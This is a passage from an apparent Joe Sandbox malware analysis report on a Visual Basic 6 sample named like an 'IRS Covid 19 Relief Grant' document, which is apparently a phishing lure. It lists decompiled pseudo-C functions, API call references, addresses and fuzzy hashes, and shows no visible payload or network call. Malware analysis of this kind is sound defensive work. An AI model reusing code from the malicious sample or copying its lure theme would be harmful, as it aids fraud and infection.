				_v100 = _t53;
				_push( &_v100);
				_push( &_v28);
				L0040141E();
				_push( &_v80);
				_t57 =  &_v64;
				_push(_t57);
				_push(2);
				L00401454();
				_push(0);
				_push(_v28);
				L00401406();
				_push( *_t57);
				_push(0x402a4c);
				L0040140C();
				if(_t57 != 0) {
					if( *0x41333c != 0) {
						_v128 = 0x41333c;
					} else {
						_push(0x41333c);
						_push(0x402a70);
						L00401472();
						_v128 = 0x41333c;
					}
					_t17 =  &_v128; // 0x41333c
					_v104 =  *((intOrPtr*)( *_t17));
					_t19 =  &_v48; // 0x41333c
					_t64 =  *((intOrPtr*)( *_v104 + 0x4c))(_v104, _t19);
					asm("fclex");
					_v108 = _t64;
					if(_v108 >= 0) {
						_v132 = _v132 & 0x00000000;
					} else {
						_push(0x4c);
						_push(0x402a60);
						_push(_v104);
						_push(_v108);
						L0040146C();
						_v132 = _t64;
					}
					_v112 = _v48;
					_v88 = _v88 & 0x00000000;
					_v96 = 2;
					L004012E0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t69 =  *((intOrPtr*)( *_v112 + 0x2c))(_v112, 0x10);
					asm("fclex");
					_v116 = _t69;
					if(_v116 >= 0) {
						_v136 = _v136 & 0x00000000;
					} else {
						_push(0x2c);
						_push(0x402a80);
						_push(_v112);
						_push(_v116);
						L0040146C();
						_v136 = _t69;
					}
					L00401466();
				}
				_push(0x410d75);
				_t58 =  &_v28;
				_push(_t58);
				_push(0);
				L00401400();
				return _t58;
			}

0x00410bcc
0x00410bcf
0x00410bda
0x00410bdb
0x00410be2
0x00410be5
0x00410bed
0x00410bf0
0x00410bfa
0x00410bfd
0x00410c04
0x00410c0b
0x00410c0d
0x00410c12
0x00410c13
0x00410c1b
0x00410c1c
0x00410c21
0x00410c24
0x00410c25
0x00410c2a
0x00410c2f
0x00410c35
0x00410c39
0x00410c3a
0x00410c42
0x00410c43
0x00410c46
0x00410c47
0x00410c49
0x00410c51
0x00410c53
0x00410c56
0x00410c5b
0x00410c5d
0x00410c62
0x00410c69
0x00410c76
0x00410c90
0x00410c78
0x00410c78
0x00410c7d
0x00410c82
0x00410c87
0x00410c87
0x00410c97
0x00410c9c
0x00410c9f
0x00410cab
0x00410cae
0x00410cb0
0x00410cb7
0x00410cd0
0x00410cb9
0x00410cb9
0x00410cbb
0x00410cc0
0x00410cc3
0x00410cc6
0x00410ccb
0x00410ccb
0x00410cd7
0x00410cda
0x00410cde
0x00410ce8
0x00410cf2
0x00410cf3
0x00410cf4
0x00410cf5
0x00410cfe
0x00410d01
0x00410d03
0x00410d0a
0x00410d26
0x00410d0c
0x00410d0c
0x00410d0e
0x00410d13
0x00410d16
0x00410d19
0x00410d1e
0x00410d1e
0x00410d30
0x00410d30
0x00410d35
0x00410d69
0x00410d6c
0x00410d6d
0x00410d6f
0x00410d74

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00410BE5
#711.MSVBVM60(?,00402A40,0000000A,000000FF,00000000), ref: 00410C1C
__vbaAryVar.MSVBVM60(00002008,?,?,00402A40,0000000A,000000FF,00000000), ref: 00410C2A
__vbaAryCopy.MSVBVM60(?,?,00002008,?,?,00402A40,0000000A,000000FF,00000000), ref: 00410C3A
__vbaFreeVarList.MSVBVM60(00000002,0000000A,?,?,?,00002008,?,?,00402A40,0000000A,000000FF,00000000), ref: 00410C49
__vbaDerefAry1.MSVBVM60(?,00000000,?,?,004012E6), ref: 00410C56
__vbaStrCmp.MSVBVM60(00402A4C,00000000,?,00000000,?,?,004012E6), ref: 00410C62
__vbaNew2.MSVBVM60(00402A70,0041333C,00402A4C,00000000,?,00000000,?,?,004012E6), ref: 00410C82
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402A60,0000004C), ref: 00410CC6
__vbaChkstk.MSVBVM60(00000000,?,00402A60,0000004C), ref: 00410CE8
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402A80,0000002C), ref: 00410D19
__vbaFreeObj.MSVBVM60(00000000,?,00402A80,0000002C), ref: 00410D30
__vbaAryDestruct.MSVBVM60(00000000,?,00410D75,00402A4C,00000000,?,00000000,?,?,004012E6), ref: 00410D6F

Strings

<3A, xrefs: 00410C97
<3AL*@, xrefs: 00410C9F, 00410CA2

Memory Dump Source

Source File: 00000000.00000002.242374999.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.242365413.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.242395437.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.242404679.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: __vba$CheckChkstkFreeHresult$#711Ary1CopyDerefDestructListNew2
String ID: <3A$<3AL*@
API String ID: 1396276536-2392517359
Opcode ID: a3edf2f8c3369e60fa658c13ca8c89489a45328aa82906bad6cc50d84fd56976
Instruction ID: d59782acf2ae4fc9e84f632fcf071214b7c8e2a5a70630691ed0bd4c998e69dd
Opcode Fuzzy Hash: a3edf2f8c3369e60fa658c13ca8c89489a45328aa82906bad6cc50d84fd56976
Instruction Fuzzy Hash: BB412771D00308AFDB11EFE5C946BDDBBB8AB08704F10812AF515BB1A1DBB85585CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004121E0, Relevance: 22.6, APIs: 15, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 65%

			E004121E0(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a32, void* _a52) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v40;
				void* _v44;
				signed int _v48;
				char _v52;
				intOrPtr _v60;
				char _v68;
				char _v84;
				intOrPtr _v108;
				char _v116;
				intOrPtr _v124;
				char _v132;
				void* _v136;
				signed int _v140;
				signed int _v152;
				intOrPtr* _v156;
				signed int _v160;
				short _t63;
				char* _t66;
				char* _t70;
				signed int _t74;
				void* _t93;
				void* _t95;
				intOrPtr _t96;

				_t96 = _t95 - 0xc;
				 *[fs:0x0] = _t96;
				L004012E0();
				_v16 = _t96;
				_v12 = 0x4012c0;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4012e6, _t93);
				L0040144E();
				L00401436();
				_v108 = 0x402b74;
				_v116 = 8;
				L0040144E();
				_push(1);
				_push( &_v68);
				_push( &_v84);
				L0040137C();
				_v124 = 0x402b5c;
				_v132 = 0x8008;
				_push( &_v84);
				_t63 =  &_v132;
				_push(_t63);
				L004013F4();
				_v136 = _t63;
				_push( &_v84);
				_push( &_v68);
				_push(2);
				L00401454();
				_t66 = _v136;
				if(_t66 != 0) {
					if( *0x413010 != 0) {
						_v156 = 0x413010;
					} else {
						_push(0x413010);
						_push(0x401fe0);
						L00401472();
						_v156 = 0x413010;
					}
					_t70 =  &_v52;
					L00401478();
					_v136 = _t70;
					_t74 =  *((intOrPtr*)( *_v136 + 0x1e0))(_v136,  &_v48, _t70,  *((intOrPtr*)( *((intOrPtr*)( *_v156)) + 0x310))( *_v156));
					asm("fclex");
					_v140 = _t74;
					if(_v140 >= 0) {
						_v160 = _v160 & 0x00000000;
					} else {
						_push(0x1e0);
						_push(0x402918);
						_push(_v136);
						_push(_v140);
						L0040146C();
						_v160 = _t74;
					}
					_v152 = _v48;
					_v48 = _v48 & 0x00000000;
					_v60 = _v152;
					_v68 = 8;
					_t66 =  &_v68;
					_push(_t66);
					L00401376();
					L00401466();
					L00401448();
				}
				_push(0x4123c2);
				L00401448();
				L00401430();
				return _t66;
			}

0x004121e3
0x004121f2
0x004121fe
0x00412206
0x00412209
0x00412210
0x0041221f
0x00412228
0x00412233
0x00412238
0x0041223f
0x0041224c
0x00412251
0x00412256
0x0041225a
0x0041225b
0x00412260
0x00412267
0x00412271
0x00412272
0x00412275
0x00412276
0x0041227b
0x00412285
0x00412289
0x0041228a
0x0041228c
0x00412294
0x0041229d
0x004122aa
0x004122c7
0x004122ac
0x004122ac
0x004122b1
0x004122b6
0x004122bb
0x004122bb
0x004122eb
0x004122ef
0x004122f4
0x0041230c
0x00412312
0x00412314
0x00412321
0x00412346
0x00412323
0x00412323
0x00412328
0x0041232d
0x00412333
0x00412339
0x0041233e
0x0041233e
0x00412350
0x00412356
0x00412360
0x00412363
0x0041236a
0x0041236d
0x0041236e
0x00412376
0x0041237e
0x0041237e
0x00412383
0x004123b4
0x004123bc
0x004123c1

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 004121FE
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 00412228
__vbaStrCopy.MSVBVM60(?,?,?,?,004012E6), ref: 00412233
__vbaVarDup.MSVBVM60 ref: 0041224C
#617.MSVBVM60(?,?,00000001), ref: 0041225B
__vbaVarTstNe.MSVBVM60(?,?,?,?,00000001), ref: 00412276
__vbaFreeVarList.MSVBVM60(00000002,?,?,?,?,?,?,00000001), ref: 0041228C
__vbaNew2.MSVBVM60(00401FE0,00413010,?,?,004012E6), ref: 004122B6
__vbaObjSet.MSVBVM60(?,00000000), ref: 004122EF
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402918,000001E0), ref: 00412339
#529.MSVBVM60(00000008), ref: 0041236E
__vbaFreeObj.MSVBVM60(00000008), ref: 00412376
__vbaFreeVar.MSVBVM60(00000008), ref: 0041237E
__vbaFreeVar.MSVBVM60(004123C2,?,?,004012E6), ref: 004123B4
__vbaFreeStr.MSVBVM60(004123C2,?,?,004012E6), ref: 004123BC

Memory Dump Source

Source File: 00000000.00000002.242374999.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.242365413.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.242395437.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.242404679.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: __vba$Free$#529#617CheckChkstkCopyHresultListNew2
String ID:
API String ID: 762902229-0
Opcode ID: 461bca399fb77e750480db444e0ca5ca38a47ea68d692bd5f5e8417e93b472b3
Instruction ID: d3bed91db67c48234d32f1b63edf0e2b040b93bf06aaf7bf54ef54a34b035d12
Opcode Fuzzy Hash: 461bca399fb77e750480db444e0ca5ca38a47ea68d692bd5f5e8417e93b472b3
Instruction Fuzzy Hash: 0351DB71900219DBDB10DFA5C985BDDB7B8BF08308F1080AAE549B72A1DB785A89CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00410EE6, Relevance: 19.6, APIs: 13, Instructions: 149
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 52%

			E00410EE6(void* __ebx, void* __edi, void* __esi, intOrPtr __fp0, intOrPtr* _a4, void* _a44) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				void* _v40;
				char _v52;
				char _v56;
				intOrPtr _v64;
				intOrPtr _v72;
				intOrPtr _v80;
				intOrPtr _v88;
				intOrPtr _v96;
				intOrPtr _v104;
				short _v108;
				intOrPtr* _v112;
				signed int _v116;
				intOrPtr* _v120;
				signed int _v124;
				intOrPtr* _v136;
				signed int _v140;
				intOrPtr* _v144;
				short _v148;
				intOrPtr _v152;
				signed int _v156;
				char* _t68;
				signed int _t72;
				char* _t76;
				signed int _t83;
				char* _t85;
				intOrPtr _t93;
				void* _t104;
				void* _t106;
				intOrPtr* _t107;
				intOrPtr _t113;

				_t113 = __fp0;
				_t107 = _t106 - 0xc;
				 *[fs:0x0] = _t107;
				L004012E0();
				_v16 = _t107;
				_v12 = 0x4011e0;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4012e6, _t104);
				L0040144E();
				if( *0x413010 != 0) {
					_v136 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v136 = 0x413010;
				}
				_t68 =  &_v52;
				L00401478();
				_v112 = _t68;
				_t72 =  *((intOrPtr*)( *_v112 + 0xa0))(_v112,  &_v108, _t68,  *((intOrPtr*)( *((intOrPtr*)( *_v136)) + 0x304))( *_v136));
				asm("fclex");
				_v116 = _t72;
				if(_v116 >= 0) {
					_v140 = _v140 & 0x00000000;
				} else {
					_push(0xa0);
					_push(0x402928);
					_push(_v112);
					_push(_v116);
					L0040146C();
					_v140 = _t72;
				}
				if( *0x413010 != 0) {
					_v144 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v144 = 0x413010;
				}
				_t93 =  *((intOrPtr*)( *_v144));
				_t76 =  &_v56;
				L00401478();
				_v120 = _t76;
				_v96 = 0x80020004;
				_v104 = 0xa;
				_v80 = 0x80020004;
				_v88 = 0xa;
				_v64 = 0x80020004;
				_v72 = 0xa;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v148 = _v108;
				asm("fild dword [ebp-0x90]");
				_v152 = _t113;
				 *_t107 = _v152;
				_t83 =  *((intOrPtr*)( *_v120 + 0x224))(_v120, _t93, 0x10, 0x10, 0x10, _t76,  *((intOrPtr*)(_t93 + 0x30c))( *_v144));
				asm("fclex");
				_v124 = _t83;
				if(_v124 >= 0) {
					_v156 = _v156 & 0x00000000;
				} else {
					_push(0x224);
					_push(0x402918);
					_push(_v120);
					_push(_v124);
					L0040146C();
					_v156 = _t83;
				}
				_push( &_v56);
				_t85 =  &_v52;
				_push(_t85);
				_push(2);
				L0040145A();
				asm("wait");
				_push(0x41110c);
				L00401448();
				return _t85;
			}

0x00410ee6
0x00410ee9
0x00410ef8
0x00410f04
0x00410f0c
0x00410f0f
0x00410f16
0x00410f25
0x00410f2e
0x00410f3a
0x00410f57
0x00410f3c
0x00410f3c
0x00410f41
0x00410f46
0x00410f4b
0x00410f4b
0x00410f7b
0x00410f7f
0x00410f84
0x00410f93
0x00410f99
0x00410f9b
0x00410fa2
0x00410fc1
0x00410fa4
0x00410fa4
0x00410fa9
0x00410fae
0x00410fb1
0x00410fb4
0x00410fb9
0x00410fb9
0x00410fcf
0x00410fec
0x00410fd1
0x00410fd1
0x00410fd6
0x00410fdb
0x00410fe0
0x00410fe0
0x00411006
0x00411010
0x00411014
0x00411019
0x0041101c
0x00411023
0x0041102a
0x00411031
0x00411038
0x0041103f
0x00411049
0x00411053
0x00411054
0x00411055
0x00411056
0x0041105a
0x00411064
0x00411065
0x00411066
0x00411067
0x0041106b
0x00411075
0x00411076
0x00411077
0x00411078
0x0041107d
0x00411083
0x00411089
0x00411096
0x004110a1
0x004110a7
0x004110a9
0x004110b0
0x004110cf
0x004110b2
0x004110b2
0x004110b7
0x004110bc
0x004110bf
0x004110c2
0x004110c7
0x004110c7
0x004110d9
0x004110da
0x004110dd
0x004110de
0x004110e0
0x004110e8
0x004110e9
0x00411106
0x0041110b

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00410F04
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 00410F2E
__vbaNew2.MSVBVM60(00401FE0,00413010,?,?,?,?,004012E6), ref: 00410F46
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410F7F
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402928,000000A0), ref: 00410FB4
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 00410FDB
__vbaObjSet.MSVBVM60(?,00000000), ref: 00411014
__vbaChkstk.MSVBVM60(?,00000000), ref: 00411049
__vbaChkstk.MSVBVM60(?,00000000), ref: 0041105A
__vbaChkstk.MSVBVM60(?,00000000), ref: 0041106B
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402918,00000224,?,?,00000000), ref: 004110C2
__vbaFreeObjList.MSVBVM60(00000002,?,?,?,?,00000000), ref: 004110E0
__vbaFreeVar.MSVBVM60(0041110C,?,?,004012E6), ref: 00411106

Memory Dump Source

Source File: 00000000.00000002.242374999.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.242365413.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.242395437.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.242404679.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: __vba$Chkstk$CheckFreeHresultNew2$List
String ID:
API String ID: 1303183447-0
Opcode ID: 7022347ed3b9096b8cc97180bf7f194dba81f17b3f28f0e5b63cb397ded3b6e0
Instruction ID: 666fca44913ed9dcf845471e426002855b6435d287e496afc52ca0c6167f9a6c
Opcode Fuzzy Hash: 7022347ed3b9096b8cc97180bf7f194dba81f17b3f28f0e5b63cb397ded3b6e0
Instruction Fuzzy Hash: 6F514B70A00208EFDB10DFA1C945BDDBBB5BF09304F2040AAF545BB2A1CBB95A85DF19

Uniqueness

Uniqueness Score: -1.00%

Function 00410D92, Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 65%

			E00410D92(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				char _v32;
				short _v40;
				char _v48;
				void* _v68;
				intOrPtr* _v72;
				signed int _v76;
				signed int _v80;
				intOrPtr* _v92;
				signed int _v96;
				char* _t42;
				signed int _t46;
				signed int _t48;
				signed int _t51;
				void* _t63;
				void* _t65;
				intOrPtr _t66;

				_t66 = _t65 - 0xc;
				 *[fs:0x0] = _t66;
				L004012E0();
				_v16 = _t66;
				_v12 = 0x4011d0;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x48,  *[fs:0x0], 0x4012e6, _t63);
				if( *0x413010 != 0) {
					_v92 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v92 = 0x413010;
				}
				_t42 =  &_v32;
				L00401478();
				_v72 = _t42;
				_t46 =  *((intOrPtr*)( *_v72 + 0x1c8))(_v72,  &_v68, _t42,  *((intOrPtr*)( *((intOrPtr*)( *_v92)) + 0x310))( *_v92));
				asm("fclex");
				_v76 = _t46;
				if(_v76 >= 0) {
					_v96 = _v96 & 0x00000000;
				} else {
					_push(0x1c8);
					_push(0x402918);
					_push(_v72);
					_push(_v76);
					L0040146C();
					_v96 = _t46;
				}
				_v40 = _v68;
				_v48 = 2;
				_t48 =  &_v48;
				_push(_t48);
				L004013FA();
				L0040142A();
				_push(_t48);
				_push(L"Integer");
				L0040140C();
				asm("sbb eax, eax");
				_t51 =  ~( ~( ~_t48));
				_v80 = _t51;
				L00401430();
				L00401466();
				L00401448();
				_push(0x410ec7);
				return _t51;
			}

0x00410d95
0x00410da4
0x00410dae
0x00410db6
0x00410db9
0x00410dc0
0x00410dcf
0x00410dd9
0x00410df3
0x00410ddb
0x00410ddb
0x00410de0
0x00410de5
0x00410dea
0x00410dea
0x00410e0e
0x00410e12
0x00410e17
0x00410e26
0x00410e2c
0x00410e2e
0x00410e35
0x00410e51
0x00410e37
0x00410e37
0x00410e3c
0x00410e41
0x00410e44
0x00410e47
0x00410e4c
0x00410e4c
0x00410e59
0x00410e5d
0x00410e64
0x00410e67
0x00410e68
0x00410e72
0x00410e77
0x00410e78
0x00410e7d
0x00410e84
0x00410e88
0x00410e8a
0x00410e91
0x00410e99
0x00410ea1
0x00410ea6
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00410DAE
__vbaNew2.MSVBVM60(00401FE0,00413010,?,?,?,?,004012E6), ref: 00410DE5
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410E12
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402918,000001C8), ref: 00410E47
#591.MSVBVM60(00000002), ref: 00410E68
__vbaStrMove.MSVBVM60(00000002), ref: 00410E72
__vbaStrCmp.MSVBVM60(Integer,00000000,00000002), ref: 00410E7D
__vbaFreeStr.MSVBVM60(Integer,00000000,00000002), ref: 00410E91
__vbaFreeObj.MSVBVM60(Integer,00000000,00000002), ref: 00410E99
__vbaFreeVar.MSVBVM60(Integer,00000000,00000002), ref: 00410EA1

Strings

Integer, xrefs: 00410E78

Memory Dump Source

Source File: 00000000.00000002.242374999.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.242365413.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.242395437.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.242404679.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: __vba$Free$#591CheckChkstkHresultMoveNew2
String ID: Integer
API String ID: 1148788311-2511508119
Opcode ID: e5b067802f8adb802072cf95e99a5b60ad3103a459151168937de7e0370f7e50
Instruction ID: 0689e255befe80e77e6d4ebe9c6fcc64bcac2c5f4dd8e0af0e7fe306849badc5
Opcode Fuzzy Hash: e5b067802f8adb802072cf95e99a5b60ad3103a459151168937de7e0370f7e50
Instruction Fuzzy Hash: 6A31EB74940249DFCB10DFE5C845BDDBBB4BF08705F10846AF101BB2A1DBB99986CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041207C, Relevance: 18.1, APIs: 12, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 55%

			E0041207C(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v28;
				char _v32;
				char _v36;
				char _v52;
				intOrPtr* _v72;
				signed int _v76;
				intOrPtr* _v88;
				signed int _v92;
				signed char _t37;
				signed short _t38;
				char* _t42;
				signed int _t46;
				void* _t60;
				void* _t62;
				intOrPtr _t63;

				_t63 = _t62 - 0xc;
				 *[fs:0x0] = _t63;
				L004012E0();
				_v16 = _t63;
				_v12 = 0x4012b0;
				_v8 = 0;
				_t37 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x44,  *[fs:0x0], 0x4012e6, _t60);
				_push(0x402a4c);
				L004013B2();
				_t38 = _t37 & 0x000000ff;
				if(_t38 != 0x61) {
					if( *0x413010 != 0) {
						_v88 = 0x413010;
					} else {
						_push(0x413010);
						_push(0x401fe0);
						L00401472();
						_v88 = 0x413010;
					}
					_t42 =  &_v36;
					L00401478();
					_v72 = _t42;
					_t46 =  *((intOrPtr*)( *_v72 + 0xf8))(_v72,  &_v32, _t42,  *((intOrPtr*)( *((intOrPtr*)( *_v88)) + 0x304))( *_v88));
					asm("fclex");
					_v76 = _t46;
					if(_v76 >= 0) {
						_v92 = _v92 & 0x00000000;
					} else {
						_push(0xf8);
						_push(0x402928);
						_push(_v72);
						_push(_v76);
						L0040146C();
						_v92 = _t46;
					}
					_push(0);
					_push(_v32);
					_push( &_v52);
					L004013A6();
					_t38 = 0x10;
					L004012E0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_push(0);
					_push(_v28);
					L004013AC();
					L00401430();
					L00401466();
					L00401448();
				}
				_push(0x4121c1);
				L00401466();
				return _t38;
			}

0x0041207f
0x0041208e
0x00412098
0x004120a0
0x004120a3
0x004120aa
0x004120b9
0x004120bc
0x004120c1
0x004120c6
0x004120ce
0x004120db
0x004120f5
0x004120dd
0x004120dd
0x004120e2
0x004120e7
0x004120ec
0x004120ec
0x00412110
0x00412114
0x00412119
0x00412128
0x0041212e
0x00412130
0x00412137
0x00412153
0x00412139
0x00412139
0x0041213e
0x00412143
0x00412146
0x00412149
0x0041214e
0x0041214e
0x00412157
0x00412159
0x0041215f
0x00412160
0x00412167
0x00412168
0x00412172
0x00412173
0x00412174
0x00412175
0x00412176
0x00412178
0x0041217b
0x00412183
0x0041218b
0x00412193
0x00412193
0x00412198
0x004121bb
0x004121c0

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00412098
#693.MSVBVM60(00402A4C,?,?,?,?,004012E6), ref: 004120C1
__vbaNew2.MSVBVM60(00401FE0,00413010,00402A4C,?,?,?,?,004012E6), ref: 004120E7
__vbaObjSet.MSVBVM60(?,00000000), ref: 00412114
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402928,000000F8), ref: 00412149
#716.MSVBVM60(?,?,00000000), ref: 00412160
__vbaChkstk.MSVBVM60(?,?,00000000), ref: 00412168
__vbaLateIdSt.MSVBVM60(?,00000000,?,?,00000000), ref: 0041217B
__vbaFreeStr.MSVBVM60(?,00000000,?,?,00000000), ref: 00412183
__vbaFreeObj.MSVBVM60(?,00000000,?,?,00000000), ref: 0041218B
__vbaFreeVar.MSVBVM60(?,00000000,?,?,00000000), ref: 00412193
__vbaFreeObj.MSVBVM60(004121C1,00402A4C,?,?,?,?,004012E6), ref: 004121BB

Memory Dump Source

Source File: 00000000.00000002.242374999.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.242365413.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.242395437.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.242404679.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: __vba$Free$Chkstk$#693#716CheckHresultLateNew2
String ID:
API String ID: 3573304718-0
Opcode ID: 195f6d8ad6f29903b6311f0d77616287a1c66b45b096b4b2e64ec1b439334f1d
Instruction ID: 71d3fddcccb80511241db7fd828c4adc2e63dc4dbfaa7326edebae5cc1241236
Opcode Fuzzy Hash: 195f6d8ad6f29903b6311f0d77616287a1c66b45b096b4b2e64ec1b439334f1d
Instruction Fuzzy Hash: 57310C74940209ABCB10EFD5C946FDDBBB5BF08704F10406AF501BB2A1CBBD59569B58

Uniqueness

Uniqueness Score: -1.00%

Function 00411871, Relevance: 18.1, APIs: 12, Instructions: 87
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E00411871(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char _v48;
				intOrPtr* _v68;
				signed int _v72;
				intOrPtr* _v80;
				signed int _v84;
				signed char _t30;
				signed short _t31;
				char* _t35;
				signed int _t39;
				intOrPtr _t56;

				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t56;
				_t30 = 0x40;
				L004012E0();
				_v12 = _t56;
				_v8 = 0x401240;
				_push(0x402a4c);
				L004013B2();
				_t31 = _t30 & 0x000000ff;
				if(_t31 != 0x61) {
					if( *0x413010 != 0) {
						_v80 = 0x413010;
					} else {
						_push(0x413010);
						_push(0x401fe0);
						L00401472();
						_v80 = 0x413010;
					}
					_t35 =  &_v32;
					L00401478();
					_v68 = _t35;
					_t39 =  *((intOrPtr*)( *_v68 + 0x150))(_v68,  &_v28, _t35,  *((intOrPtr*)( *((intOrPtr*)( *_v80)) + 0x310))( *_v80));
					asm("fclex");
					_v72 = _t39;
					if(_v72 >= 0) {
						_v84 = _v84 & 0x00000000;
					} else {
						_push(0x150);
						_push(0x402918);
						_push(_v68);
						_push(_v72);
						L0040146C();
						_v84 = _t39;
					}
					_push(0);
					_push(_v28);
					_push( &_v48);
					L004013A6();
					_t31 = 0x10;
					L004012E0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_push(0);
					_push(_v24);
					L004013AC();
					L00401430();
					L00401466();
					L00401448();
				}
				_push(0x4119a3);
				L00401466();
				return _t31;
			}

0x00411876
0x00411881
0x00411882
0x0041188b
0x0041188c
0x00411894
0x00411897
0x0041189e
0x004118a3
0x004118a8
0x004118b0
0x004118bd
0x004118d7
0x004118bf
0x004118bf
0x004118c4
0x004118c9
0x004118ce
0x004118ce
0x004118f2
0x004118f6
0x004118fb
0x0041190a
0x00411910
0x00411912
0x00411919
0x00411935
0x0041191b
0x0041191b
0x00411920
0x00411925
0x00411928
0x0041192b
0x00411930
0x00411930
0x00411939
0x0041193b
0x00411941
0x00411942
0x00411949
0x0041194a
0x00411954
0x00411955
0x00411956
0x00411957
0x00411958
0x0041195a
0x0041195d
0x00411965
0x0041196d
0x00411975
0x00411975
0x0041197a
0x0041199d
0x004119a2

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 0041188C
#693.MSVBVM60(00402A4C,?,?,?,?,004012E6), ref: 004118A3
__vbaNew2.MSVBVM60(00401FE0,00413010,00402A4C,?,?,?,?,004012E6), ref: 004118C9
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00402A4C), ref: 004118F6
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402918,00000150,?,?,?,?,?,?,?,?,?,?,?,00402A4C), ref: 0041192B
#716.MSVBVM60(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,00402A4C), ref: 00411942
__vbaChkstk.MSVBVM60(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,00402A4C), ref: 0041194A
